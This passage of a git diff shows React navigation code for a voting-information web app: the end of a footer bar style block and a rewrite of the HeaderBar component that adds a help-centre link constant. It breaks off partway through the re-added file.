0; + position: fixed; + width: 100%; + left: 0; + ${!isAndroid() ? 'padding-bottom: env(safe-area-inset-bottom)' : ''}; +`; + +const Overlay = styled.div` + align-items: stretch; + background: ${DesignTokenColors.whiteUI}; + border: 1px solid ${DesignTokenColors.neutralUI100}; + border-radius: 10px; + bottom: 56px; + box-shadow: 0 8px 24px rgba(0,0,0,.1); + display: flex; + flex-wrap: wrap; + gap: 12px; + justify-content: center; + position: fixed; + right: 8px; + transition: opacity .2s ease; + z-index: 9999; +`; + +const MenuItem = styled.div` + border-radius: 10px; + color: ${({ $active }) => ($active ? 'rgb(32, 109, 179)' : DesignTokenColors.neutralUI600)}; + cursor: pointer; + align-items: center; + display: inline-flex; + flex-direction: column; + font-size: 16px; + justify-content: center; + line-height: 1.2; + min-height: 84px; + min-width: 88px; + padding: 8px 10px; + text-align: center; + svg { + height: 40px; + width: 40px; + margin-bottom: 6px; + } + img { + width: 40px; + } +`; + +export default withStyles(styles)(FooterBar); diff --git a/src/js/components/Navigation/HeaderBar.jsx b/src/js/components/Navigation/HeaderBar.jsx index f38a58b1c..ae6fad670 100644 --- a/src/js/components/Navigation/HeaderBar.jsx +++ b/src/js/components/Navigation/HeaderBar.jsx @@ -1,1001 +1,1022 @@ -import AccountCircle from '@mui/icons-material/AccountCircle'; -import ExpandMoreIcon from '@mui/icons-material/ExpandMore'; -import { IconButton, Menu, MenuItem, Tab, Tabs } from '@mui/material'; -import withStyles from '@mui/styles/withStyles'; -import PropTypes from 'prop-types'; -import React, { Component, Suspense } from 'react'; -import { Link } from 'react-router-dom'; -import styled from 'styled-components'; -import OrganizationActions from '../../actions/OrganizationActions'; -import VoterActions from '../../actions/VoterActions'; -import VoterGuideActions from '../../actions/VoterGuideActions'; -import LazyImage from '../../common/components/LazyImage'; -import standardBoxShadow from '../../common/components/Style/standardBoxShadow'; -import signInModalGlobalState from '../../common/components/Widgets/signInModalGlobalState'; -import AppObservableStore, { messageService } from '../../common/stores/AppObservableStore'; -import apiCalming from '../../common/utils/apiCalming'; -// import { historyPush } from '../../common/utils/cordovaUtils'; -import { normalizedHrefPage } from '../../common/utils/hrefUtils'; -import { isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp'; -import isMobileScreenSize, { handleResize, isSmallTablet, isTablet } from '../../common/utils/isMobileScreenSize'; -import { renderLog } from '../../common/utils/logging'; -import voterPhoto from '../../common/utils/voterPhoto'; -import webAppConfig from '../../config'; -import AnalyticsStore from '../../stores/AnalyticsStore'; -import FacebookStore from '../../stores/FacebookStore'; -import FriendStore from '../../stores/FriendStore'; -import VoterStore from '../../stores/VoterStore'; -import { avatarGeneric, displayTopMenuShadow, weVoteBrandingOff } from '../../utils/applicationUtils'; -import getHeaderObjects from '../../utils/getHeaderObjects'; -import { TopOfPageHeader, TopRowOneLeftContainer, TopRowOneMiddleContainer, TopRowOneRightContainer, TopRowTwoLeftContainer } from '../Style/pageLayoutStyles'; -import SignInButton from '../Widgets/SignInButton'; -import FriendsTabs from './FriendsTabs'; -import HeaderBarLogo from './HeaderBarLogo'; -import HeaderBarModals from './HeaderBarModals'; -import TabWithPushHistory from './TabWithPushHistory'; - -const HeaderNotificationMenu = React.lazy(() => import(/* webpackChunkName: 'HeaderNotificationMenu' */ './HeaderNotificationMenu')); -const nextReleaseFeaturesEnabled = webAppConfig.ENABLE_NEXT_RELEASE_FEATURES === undefined ? false : webAppConfig.ENABLE_NEXT_RELEASE_FEATURES; -const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite')); - -/* global $ */ - -// TODO: Backport "@stripe/react-stripe-js" use from Campaigns -// import PaidAccountUpgradeModal from '../Settings/PaidAccountUpgradeModal'; - - -class HeaderBar extends Component { - constructor (props) { - super(props); - this.state = { - // aboutMenuOpen: false, - chosenSiteLogoUrl: '', - componentDidMountFinished: false, - // friendInvitationsSentToMe: 0, - hideWeVoteLogo: false, - // inPrivateLabelMode: false, - // priorPath: '', - scrolledDown: false, - // showOrganizationModal: false, - showSignInModal: false, - // showPositionDrawer: false, - // whatAndHowMuchToShare: '', - tabsValue: 1, - // organizationModalBallotItemWeVoteId: '', - page: 'non-blank-default-value', - voter: {}, - // voterFirstName: '', - voterIsSignedIn: false, - }; - this.debugLogging = this.debugLogging.bind(this); - this.toggleSignInModal = this.toggleSignInModal.bind(this); - this.transitionToYourVoterGuide = this.transitionToYourVoterGuide.bind(this); - this.handleTabChange = this.handleTabChange.bind(this); - this.handleResizeLocal = this.handleResizeLocal.bind(this); - } - - componentDidMount () { - this.appStateSubscription = messageService.getMessage().subscribe((msg) => this.onAppObservableStoreChange(msg)); - this.friendStoreListener = FriendStore.addListener(this.onFriendStoreChange.bind(this)); - this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this)); - this.analyticsStoreListener = AnalyticsStore.addListener(this.onAnalyticsStoreChange.bind(this)); - window.addEventListener('resize', this.handleResizeLocal); - - const voter = VoterStore.getVoter(); - // const voterFirstName = VoterStore.getFirstName(); - const voterIsSignedIn = voter && voter.is_signed_in; - // if (voterIsSignedIn === undefined) { - // VoterActions.voterRetrieve(); - // } - this.setState({ - componentDidMountFinished: true, - chosenSiteLogoUrl: AppObservableStore.getChosenSiteLogoUrl(), - // friendInvitationsSentToMe: FriendStore.friendInvitationsSentToMe(), - hideWeVoteLogo: AppObservableStore.getHideWeVoteLogo(), - // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working for some reason - scrolledDown: AppObservableStore.getScrolledDown(), - showSignInModal: AppObservableStore.showSignInModal(), - voter, - // voterFirstName, - voterIsSignedIn, - }); - if (isWebApp()) { - this.setStyleTimeout = setTimeout(() => { - const headerObjects = getHeaderObjects(); - if (document.getElementById('HeaderBarLogoWrapper')) { - headerObjects.logo = document.getElementById('HeaderBarLogoWrapper').innerHTML; - } - if (document.getElementById('ballotTabHeaderBar')) { - headerObjects.ballot = document.getElementById('ballotTabHeaderBar').innerHTML; - } - if (document.getElementById('candidatesTabHeaderBar')) { - headerObjects.candidates = document.getElementById('candidatesTabHeaderBar').innerHTML; - } - if (document.getElementById('challengesTabHeaderBar')) { - headerObjects.challenges = document.getElementById('challengesTabHeaderBar').innerHTML; - } - if (document.getElementById('friendsTabHeaderBar')) { - headerObjects.opinions = document.getElementById('friendsTabHeaderBar').innerHTML; - } - if (document.getElementById('discussTabHeaderBar')) { - headerObjects.discuss = document.getElementById('discussTabHeaderBar').innerHTML; - } - if (document.getElementById('donateTabHeaderBar')) { - headerObjects.donate = document.getElementById('donateTabHeaderBar').innerHTML; - } - if (document.getElementById('HeaderNotificationMenuWrapper')) { - headerObjects.bell = document.getElementById('HeaderNotificationMenuWrapper').innerHTML; - } - if (document.getElementById('profileAvatarHeaderBar')) { - headerObjects.photo = document.getElementById('profileAvatarHeaderBar').innerHTML; - } - if (document.getElementById('moreTabHeaderBar')) { - headerObjects.more = document.getElementById('moreTabHeaderBar').innerHTML; - } - if (document.getElementById('howItWorksTabHeaderBar')) { - headerObjects.howItWorks = document.getElementById('howItWorksTabHeaderBar').innerHTML; - } - }, 1000); - } - this.syncTabsToRoute(); - } - - componentDidUpdate () { - // console.log('HeaderBar componentDidUpdate'); - const { page } = this.state; - if (page !== normalizedHrefPage()) { - this.syncTabsToRoute(); - } - } - - componentDidCatch (error, info) { - // We should get this information to Splunk! - console.error('HeaderBar caught error: ', `${error} with info: `, info); - } - - componentWillUnmount () { - this.appStateSubscription.unsubscribe(); - this.friendStoreListener.remove(); - this.voterStoreListener.remove(); - this.analyticsStoreListener.remove(); - window.removeEventListener('resize', this.handleResizeLocal); - if (this.setStyleTimeout) clearTimeout(this.setStyleTimeout); - } - - handleTabChange = (newValue) => { - this.setState({ tabsValue: newValue }, () => { - // console.log('handleTabChange ', newValue); - this.customHighlightSelector(newValue); - }); - }; - - handleResizeLocal () { - if (handleResize('HeaderBar')) { - this.setState({}); - } - } - - onFriendStoreChange () { - // console.log('HeaderBar, onFriendStoreChange textOrEmailSignInInProcess: ' + signInModalGlobalState.get('textOrEmailSignInInProcess')); - if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) { - // console.log('HeaderBar, onFriendStoreChange'); - this.setState({ - // friendInvitationsSentToMe: FriendStore.friendInvitationsSentToMe(), - }); - } - } - - onVoterStoreChange () { - // console.log('HeaderBar, onVoterStoreChange textOrEmailSignInInProcess: ' + signInModalGlobalState.get('textOrEmailSignInInProcess')); - // console.log('HeaderBar, onVoterStoreChange voter: ', VoterStore.getVoter()); - - if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) { - // console.log('HeaderBar, onVoterStoreChange ', VoterStore.getFirstName(), VoterStore.getFullName()); - const voter = VoterStore.getVoter(); - // const voterFirstName = VoterStore.getFirstName(); - const voterIsSignedIn = voter.is_signed_in || false; - this.setState({ - voter, - // voterFirstName, - voterIsSignedIn, - showSignInModal: AppObservableStore.showSignInModal(), - // showOrganizationModal: AppObservableStore.showOrganizationModal(), - // showPositionDrawer: AppObservableStore.showPositionDrawer(), - }); - } - } - - // eslint-disable-next-line no-unused-vars - onAppObservableStoreChange (msg) { - // console.log('------ HeaderBar, onAppObservableStoreChange received: ', msg); - this.setState({ - chosenSiteLogoUrl: AppObservableStore.getChosenSiteLogoUrl(), - hideWeVoteLogo: AppObservableStore.getHideWeVoteLogo(), - // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working for some reason - // organizationModalBallotItemWeVoteId: AppObservableStore.getOrganizationModalBallotItemWeVoteId(), - scrolledDown: AppObservableStore.getScrolledDown(), - // whatAndHowMuchToShare: AppObservableStore.getWhatAndHowMuchToShare(), - showSignInModal: AppObservableStore.showSignInModal(), - }); - } - - onAnalyticsStoreChange () { - // A page reload for iOS in Cordova after facebook login forces the need for a voterRetrieve, after redrawing the page - // (and without requiring changes to the API server), the first response that indicates 'is signed in' is an Analytics call response - // console.log('onAnalyticsStoreChange VoterStore.getVoterIsSignedIn(): ', VoterStore.getVoterIsSignedIn(), ' AnalyticsStore.getIsSignedIn(): ', AnalyticsStore.getIsSignedIn(), 'FacebookStore.loggedIn: ', FacebookStore.loggedIn, 'VoterStore.voterDeviceId(): ', VoterStore.voterDeviceId()); - if (isCordova() && VoterStore.getVoterIsSignedIn() === false && (AnalyticsStore.getIsSignedIn() || FacebookStore.loggedIn)) { - if (apiCalming('voterRetrieve', 500)) { - // console.log('Cordova: HeaderBar onAnalyticsStoreChange, firing voterRetrieve --------------'); // Do not comment out or delete - VoterActions.voterRetrieve(); - } - } - } - - syncTabsToRoute = () => { - const nextPage = normalizedHrefPage(); - const nextValue = this.getTabsValueFromPage(); - this.setState({ tabsValue: nextValue, page: nextPage }, () => { - this.customHighlightSelector(nextValue || false); - }); - }; - - getTabsValueFromPage = () => { - const page = normalizedHrefPage(); - switch (page) { - case 'ballot': - return 1; - case 'candidatelist': - case 'politicianpage': - return 2; - case 'donate': - case 'more/donate': - return 3; - case 'election-finder': - case 'friends': - case 'news': - case 'challenges': - case 'more': - case 'more/faq': - case 'managecandidates': - case 'no-candidates-claimed': - return 4; - default: - return 0; - } - }; - - // goToSearch = () => { - // historyPush('/opinions'); - // } - - openHowItWorksModal = () => { - // console.log('Opening modal'); - AppObservableStore.setShowHowItWorksModal(true); - }; - - transitionToYourVoterGuide () { - // Positions for this organization, for this voter/election - OrganizationActions.positionListForOpinionMaker(this.state.voter.linked_organization_we_vote_id, true); - - // Positions for this organization, NOT including for this voter / election - // const googleCivicElectionId = 0; - // if (!OrganizationStore.positionListForOpinionMakerHasBeenRetrievedOnce(googleCivicElectionId, this.state.voter.linked_organization_we_vote_id)) { - OrganizationActions.positionListForOpinionMaker(this.state.voter.linked_organization_we_vote_id, false, true); - // } - if (apiCalming('organizationsFollowedRetrieve', 60000)) { - OrganizationActions.organizationsFollowedRetrieve(); - } - VoterGuideActions.voterGuideFollowersRetrieve(this.state.voter.linked_organization_we_vote_id); - VoterGuideActions.voterGuidesFollowedByOrganizationRetrieve(this.state.voter.linked_organization_we_vote_id); - } - - debugLogging (text) { - const isDebugLogging = false; - if (isDebugLogging) { - console.log(`HeaderBar shouldComponentUpdate: ${text}`); - } - } - - // Highlight the active tab, but don't highlight anything if not on one of the tabs, for example we are on 'friends' - customHighlightSelector (currentValue) { - const normal = { - opacity: 0.7, - fontWeight: 500, - color: 'rgba(51, 51, 51)', - }; - // Should use theme.colors.brandBlue instead of directly using '#2e3c5d' - const highlight = { - opacity: 1, - fontWeight: 600, - color: '#2e3c5d', - }; - - if (window.$) { - // console.log('customHighlightSelector called for page: ', normalizedHrefPage()); - const ballot = $('#ballotTabHeaderBar'); - const candidates = $('#candidatesTabHeaderBar'); - const challenges = $('#challengesTabHeaderBar'); - const friends = $('#friendsTabHeaderBar'); - const news = $('#discussTabHeaderBar'); - const donate = $('#donateTabHeaderBar'); - const squads = $('#squadsTabHeaderBar'); - const more = $('#moreTabHeaderBar'); - ballot.css(normal); - candidates.css(normal); // Candidates (not individual candidate page) - challenges.css(normal); // Democracy Challenges - friends.css(normal); // Friends - news.css(normal); // Discuss - donate.css(normal); // Donate - squads.css(normal); // Squads - more.css(normal); // More - - - switch (normalizedHrefPage()) { - case 'ballot': - ballot.css(highlight); - break; - case 'candidatelist': // displays same page as "cs" - candidates.css(highlight); - break; - case 'donate': - case 'more/donate': - donate.css(highlight); - break; - case 'challenges': - case 'election-finder': - case 'more/faq': - case 'friends': - case 'managecandidates': - case 'no-candidates-claimed': - case 'more': - case 'news': - case 'squads': - more.css(highlight); - break; - case 'politicianpage': - candidates.css(highlight); - break; - default: - break; - } - if (currentValue === 4) { - more.css(highlight); - } - } else { - setTimeout(() => { - console.log('customHighlightSelector purposefully called recursively'); - this.customHighlightSelector(currentValue); - }, 500); - } - - this.setState({ page: normalizedHrefPage() }); - } - - goToSettings () { - console.log('goToSettings IN HeaderBar setDrawerOpen'); - AppObservableStore.setDrawerOpen('headerProfileDrawerOpen', true); - } - - toggleSignInModal () { - const { showSignInModal } = this.state; - // console.log('HeaderBar toggleSignInModal showSignInModal:', showSignInModal); - AppObservableStore.setShowSignInModal(!showSignInModal); - this.setState({ - showSignInModal: !showSignInModal, - }); - } - - render () { - renderLog('HeaderBar'); // Set LOG_RENDER_EVENTS to log all renders - if (!this.state.componentDidMountFinished) { - // console.log('HeaderBar suppressed for !componentDidMountFinished'); - return null; - } - - if (window.leanLoadForChromeExtension) { - // console.log('HeaderBar suppressed for Chrome Extension'); - return null; // No header on the iFramed pages for the Chrome Extension - } - - const { classes } = this.props; - const { - chosenSiteLogoUrl, hideWeVoteLogo, scrolledDown, - voter, voterIsSignedIn, tabsValue, - } = this.state; - const inPrivateLabelMode = AppObservableStore.getHideWeVoteLogo(); // setState onAppObservableStoreChange is not working for some reason - // console.log('HeaderBar inPrivateLabelMode:', inPrivateLabelMode); - const voterPhotoUrlMedium = voterPhoto(voter); - - const doNotShowWeVoteLogo = weVoteBrandingOff() || hideWeVoteLogo; - const showWeVoteLogo = !doNotShowWeVoteLogo; - - const isFriends = normalizedHrefPage() === 'friends'; // The URL '/friends/request' yields 'friends' - let avatarStyle = {}; - if (isCordova()) { - avatarStyle = { marginBottom: 2 }; - } - if (isSmallTablet()) { - avatarStyle = { ...avatarStyle, paddingRight: 10 }; - } - // console.log('HeaderBar hasNotch, scrolledDown, hasSubmenu', hasCordovaNotch(), scrolledDown, displayTopMenuShadow()); - const displayMenu = !isMobileScreenSize() || isTablet(); - // console.log('HeaderBar isMobileScreenSize(), isTablet()', isMobileScreenSize(), isTablet()); - let donateValue; - let donateVisible; - let moreValue; - if (inPrivateLabelMode) { - donateValue = 3; - donateVisible = false; - moreValue = 3; - } else { - donateValue = 3; - donateVisible = true; - moreValue = 4; - } - - // console.log('HeaderBar !isMobileScreenSize()', displayMenu); - // console.log('normalizedHrefPage():', normalizedHrefPage()); - return ( - - - {/* */} - {/* */} - - {(showWeVoteLogo || chosenSiteLogoUrl) && ( - - )} - - -
- {displayMenu && ( - <> - this.handleTabChange(val)} - > - - - {donateVisible && ( - - )} - - More - - - )} - value={moreValue} - onClick={(event) => { - this.setState({ moreAnchorEl: event.currentTarget }); - this.handleTabChange(3); // Highlight the tab - }} - onKeyDown={(e) => { - if (e.key === 'Enter' || e.key === ' ') { - e.preventDefault(); - this.setState({ moreAnchorEl: e.currentTarget }); - this.handleTabChange(3); // Highlight the tab - } - }} - aria-controls="more-menu" - aria-haspopup="true" - wrapped - /> - - this.setState({ moreAnchorEl: null })} - anchorOrigin={{ vertical: 'bottom', horizontal: 'left' }} - transformOrigin={{ vertical: 'top', horizontal: 'left' }} - > - { - this.setState({ moreAnchorEl: null }); - this.handleTabChange(4); - }} - selected={normalizedHrefPage() === 'more/faq'} - to="/more/faq" - disableRipple - > - About & FAQ - - - - How it works - - - {nextReleaseFeaturesEnabled && ( - { - this.setState({ moreAnchorEl: null }); - this.handleTabChange(4); - }} - selected={['manage', 'managecandidates', 'no-candidates-claimed'].includes(normalizedHrefPage())} - to="/no-candidates-claimed" - disableRipple - > - Candidates I'm managing - - )} - - { - this.setState({ moreAnchorEl: null }); - this.handleTabChange(4); - }} - selected={normalizedHrefPage() === 'election-finder'} - to="/election-finder" - disableRipple - > - Election finder - - - { - this.setState({ moreAnchorEl: null }); - this.handleTabChange(4); - }} - to="/friends" - selected={normalizedHrefPage() === 'friends'} - disableRipple - > - Friends - - - {isWebApp() && ( // Not in Cordova release 2.7.4 phones or tablets - { - this.setState({ moreAnchorEl: null }); - this.handleTabChange(4); - }} - selected={normalizedHrefPage() === 'news'} - to="/news" - disableRipple - > - Discuss - - )} - - {nextReleaseFeaturesEnabled && ( - { - this.setState({ moreAnchorEl: null }); - this.handleTabChange(4); - }} - selected={normalizedHrefPage() === 'challenges'} - to="/challenges" - disableRipple - > - Challenges - - )} - - {isWebApp() && ( // Not in Cordova release 2.7.4 phones or tablets - }> - Blog - )} - className={classes.tabRootBlog} - /> - - )} - - - )} -
-
- - {voterIsSignedIn && voterPhotoUrlMedium ? ( - <> - {/* -
- {showEditAddressButton && editAddressButtonHtml} -
- */} - {/* -
- {searchButtonHtml} -
- */} - }> - - -
- -
- - ) : (voterIsSignedIn && ( - <> - {/* -
- {showEditAddressButton && editAddressButtonHtml} -
- */} - {/* -
- {searchButtonHtml} -
- */} - }> - - - - - - - ))} - {!voterIsSignedIn && ( - <> - {/* -
- {showEditAddressButton && editAddressButtonHtml} -
- */} - {/* -
- {searchButtonHtml} -
- */} - - - )} -
- - {(isFriends && voterIsSignedIn) && ( - - )} - -
- -
- ); - } -} -HeaderBar.propTypes = { - classes: PropTypes.object, -}; - -const styles = (theme) => { - const tabBase = { - color: 'rgba(51, 51, 51, 0.7)', - fontSize: 18, - minWidth: 90, - opacity: 0.7, - paddingTop: 17, - '&.Mui-selected': { - color: '#2e3c5d', - fontWeight: 600, - opacity: 1, - }, - }; - const tabSelected = { - color: '#2e3c5d', - fontWeight: 600, - opacity: 1, - }; - - return { - tabRoot: { ...tabBase }, - tabRootMore: { ...tabBase }, - tabSelected: { ...tabSelected }, - - padding: { - padding: `0 ${theme.spacing(2)}px`, - }, - moreLabel: { - alignItems: 'center', - display: 'flex', - gap: 4, - lineHeight: 1, - }, - tabMoreIcon: { - color: 'inherit', - fontSize: 22, - }, - - addressButtonRoot: { - '&:hover': { - backgroundColor: 'transparent', - }, - color: 'rgba(17, 17, 17, .5)', - outline: 'none !important', - paddingRight: 6, - [theme.breakpoints.up('sm')]: { - paddingLeft: 0, - }, - [theme.breakpoints.down('sm')]: { - paddingTop: 6, - marginLeft: 2, - paddingLeft: 0, - }, - }, - addressIconButtonRoot: { - paddingTop: 1, - paddingRight: 6, - paddingBottom: 3, - paddingLeft: 0, - color: 'rgba(17, 17, 17, .4)', - outline: 'none !important', - '&:hover': { - backgroundColor: 'transparent', - }, - [theme.breakpoints.up('sm')]: { - paddingRight: 2, - }, - }, - iconButtonRoot: { - paddingTop: 1, - paddingRight: 0, - paddingBottom: 3, - paddingLeft: 0, - color: 'rgba(17, 17, 17, .4)', - outline: 'none !important', - '&:hover': { - backgroundColor: 'transparent', - }, - }, - searchButtonRoot: { - '&:hover': { - backgroundColor: 'transparent', - }, - color: 'rgba(17, 17, 17, .5)', - outline: 'none !important', - paddingTop: 0, - paddingRight: 0, - [theme.breakpoints.up('sm')]: { - paddingLeft: 0, - }, - [theme.breakpoints.down('sm')]: { - marginLeft: 2, - paddingLeft: 0, - }, - }, - tooltipPlacementBottom: { - marginTop: 0, - }, - tabRootBallot: { - minWidth: 90, - [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets - minWidth: 0, - fontSize: 20, - padding: '16px 8px 10px 8px', - }, - [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets - fontSize: 20, - padding: '16px 16px 10px 16px', - }, - [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktops - fontSize: 24, - }, - }, - tabRootBallotDesktop: { - fontSize: 18, - minWidth: 90, - paddingTop: 17, - }, - tabRootBlog: { - color: 'rgba(51, 51, 51, 0.7)', - }, - tabRootCandidates: { - minWidth: 90, - [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets - minWidth: 0, - fontSize: 20, - padding: '16px 8px 10px 8px', - }, - [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets - fontSize: 20, - padding: '16px 16px 10px 16px', - }, - [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktops - fontSize: 24, - }, - }, - tabRootCandidatesDesktop: { - fontSize: 18, - minWidth: 90, - paddingTop: 17, - }, - tabRootDonate: { - minWidth: 70, - [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets - minWidth: 0, - fontSize: 20, - padding: '16px 8px 10px 8px', - }, - [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets - fontSize: 20, - padding: '16px 16px 10px 16px', - }, - [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop - fontSize: 24, - }, - }, - tabRootDonateDesktop: { - fontSize: 18, - minWidth: 70, - paddingTop: 17, - }, - tabRootFriends: { - minWidth: 90, - [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets - minWidth: 0, - fontSize: 20, - padding: '16px 8px 10px 8px', - }, - [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets - fontSize: 20, - padding: '16px 16px 10px 16px', - }, - [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop - fontSize: 24, - }, - }, - tabRootFriendsDesktop: { - fontSize: 18, - minWidth: 90, - paddingTop: 17, - }, - tabRootNews: { - minWidth: 70, - [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets - minWidth: 0, - fontSize: 20, - padding: '16px 8px 10px 8px', - }, - [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets - fontSize: 20, - padding: '16px 16px 10px 16px', - }, - [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop - fontSize: 24, - }, - }, - tabRootNewsDesktop: { - fontSize: 18, - minWidth: 70, - paddingTop: 17, - }, - tabRootHowItWorks: { - minWidth: 70, - [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets - minWidth: 0, - fontSize: 20, - padding: '16px 8px 10px 8px', - }, - [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets - fontSize: 20, - padding: '16px 16px 10px 16px', - }, - [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop - fontSize: 24, - }, - }, - }; -}; - -const HeaderBarWrapper = styled.div.attrs({ - className: 'HeaderBarWrapper', // div.attrs and className all added to achieve drop-shadow on Donate page - shouldForwardProp: (prop) => !['scrolledDown', 'hasSubmenu'].includes(prop), -})(({ scrolledDown, hasSubmenu }) => (` - box-shadow: ${(!scrolledDown || !hasSubmenu) ? '' : standardBoxShadow('wide')}; - border-bottom: ${(!scrolledDown || !hasSubmenu) ? '' : '1px solid #aaa'}; - padding-left: calc(100vw - 100%); -`)); - -const StyledHeaderMenuTabs = styled(Tabs)` - // {() => (isIOSAppOnMac() ? '' : displayNoneIfSmallerThanDesktop())}; -`; -const StyledMoreMenu = styled(Menu)` - .MuiPaper-root { - border-radius: 8px; - box-shadow: ${standardBoxShadow('wide')}; - margin-top: 8px; - min-width: 200px; - } -`; - -const StyledMoreMenuItem = styled(MenuItem)` - color: rgba(51, 51, 51, 0.7); - font-size: 18px; - font-weight: 500; - line-height: 1.2; - opacity: 1; - padding: 12px 16px; - position: relative; - - &:hover { - background: rgba(46, 60, 93, 0.06); - } - - &.Mui-selected, - &.Mui-selected:hover { - background: transparent; - color: #2e3c5d; - font-weight: 600; - opacity: 1; - } -`; - -export default withStyles(styles)(HeaderBar); +import AccountCircle from '@mui/icons-material/AccountCircle'; +import ExpandMoreIcon from '@mui/icons-material/ExpandMore'; +import { IconButton, Menu, MenuItem, Tab, Tabs } from '@mui/material'; +import withStyles from '@mui/styles/withStyles'; +import PropTypes from 'prop-types'; +import React, { Component, Suspense } from 'react'; +import { Link } from 'react-router-dom'; +import styled from 'styled-components'; +import OrganizationActions from '../../actions/OrganizationActions'; +import VoterActions from '../../actions/VoterActions'; +import VoterGuideActions from '../../actions/VoterGuideActions'; +import LazyImage from '../../common/components/LazyImage'; +import standardBoxShadow from '../../common/components/Style/standardBoxShadow'; +import signInModalGlobalState from '../../common/components/Widgets/signInModalGlobalState'; +import AppObservableStore, { messageService } from '../../common/stores/AppObservableStore'; +import apiCalming from '../../common/utils/apiCalming'; +// import { historyPush } from '../../common/utils/cordovaUtils'; +import { normalizedHrefPage } from '../../common/utils/hrefUtils'; +import { isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp'; +import isMobileScreenSize, { handleResize, isSmallTablet, isTablet } from '../../common/utils/isMobileScreenSize'; +import { renderLog } from '../../common/utils/logging'; +import voterPhoto from '../../common/utils/voterPhoto'; +import webAppConfig from '../../config'; +import AnalyticsStore from '../../stores/AnalyticsStore'; +import FacebookStore from '../../stores/FacebookStore'; +import FriendStore from '../../stores/FriendStore'; +import VoterStore from '../../stores/VoterStore'; +import { avatarGeneric, displayTopMenuShadow, weVoteBrandingOff } from '../../utils/applicationUtils'; +import getHeaderObjects from '../../utils/getHeaderObjects'; +import { TopOfPageHeader, TopRowOneLeftContainer, TopRowOneMiddleContainer, TopRowOneRightContainer, TopRowTwoLeftContainer } from '../Style/pageLayoutStyles'; +import SignInButton from '../Widgets/SignInButton'; +import FriendsTabs from './FriendsTabs'; +import HeaderBarLogo from './HeaderBarLogo'; +import HeaderBarModals from './HeaderBarModals'; +import TabWithPushHistory from './TabWithPushHistory'; + +const HeaderNotificationMenu = React.lazy(() => import(/* webpackChunkName: 'HeaderNotificationMenu' */ './HeaderNotificationMenu')); +const nextReleaseFeaturesEnabled = webAppConfig.ENABLE_NEXT_RELEASE_FEATURES === undefined ? false : webAppConfig.ENABLE_NEXT_RELEASE_FEATURES; +const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite')); +const weVoteHelpUrl = 'https://help.wevote.us/hc/en-us'; + +/* global $ */ + +// TODO: Backport "@stripe/react-stripe-js" use from Campaigns +// import PaidAccountUpgradeModal from '../Settings/PaidAccountUpgradeModal'; + + +class HeaderBar extends Component { + constructor (props) { + super(props); + this.state = { + // aboutMenuOpen: false, + chosenSiteLogoUrl: '', + componentDidMountFinished: false, + // friendInvitationsSentToMe: 0, + hideWeVoteLogo: false, + // inPrivateLabelMode: false, + // priorPath: '', + scrolledDown: false, + // showOrganizationModal: false, + showSignInModal: false, + // showPositionDrawer: false, + // whatAndHowMuchToShare: '', + tabsValue: 1, + // organizationModalBallotItemWeVoteId: '', + page: 'non-blank-default-value', + voter: {}, + // voterFirstName: '', + voterIsSignedIn: false, + }; + this.debugLogging = this.debugLogging.bind(this); + this.toggleSignInModal = this.toggleSignInModal.bind(this); + this.transitionToYourVoterGuide = this.transitionToYourVoterGuide.bind(this); + this.handleTabChange = this.handleTabChange.bind(this); + this.handleResizeLocal = this.handleResizeLocal.bind(this); + } + + componentDidMount () { + this.appStateSubscription = messageService.getMessage().subscribe((msg) => this.onAppObservableStoreChange(msg)); + this.friendStoreListener = FriendStore.addListener(this.onFriendStoreChange.bind(this)); + this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this)); + this.analyticsStoreListener = AnalyticsStore.addListener(this.onAnalyticsStoreChange.bind(this)); + window.addEventListener('resize', this.handleResizeLocal); + + const voter = VoterStore.getVoter(); + // const voterFirstName = VoterStore.getFirstName(); + const voterIsSignedIn = voter && voter.is_signed_in; + // if (voterIsSignedIn === undefined) { + // VoterActions.voterRetrieve(); + // } + this.setState({ + componentDidMountFinished: true, + chosenSiteLogoUrl: AppObservableStore.getChosenSiteLogoUrl(), + // friendInvitationsSentToMe: FriendStore.friendInvitationsSentToMe(), + hideWeVoteLogo: AppObservableStore.getHideWeVoteLogo(), + // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working for some reason + scrolledDown: AppObservableStore.getScrolledDown(), + showSignInModal: AppObservableStore.showSignInModal(), + voter, + // voterFirstName, + voterIsSignedIn, + }); + if (isWebApp()) { + this.setStyleTimeout = setTimeout(() => { + const headerObjects = getHeaderObjects(); + if (document.getElementById('HeaderBarLogoWrapper')) { + headerObjects.logo = document.getElementById('HeaderBarLogoWrapper').innerHTML; + } + if 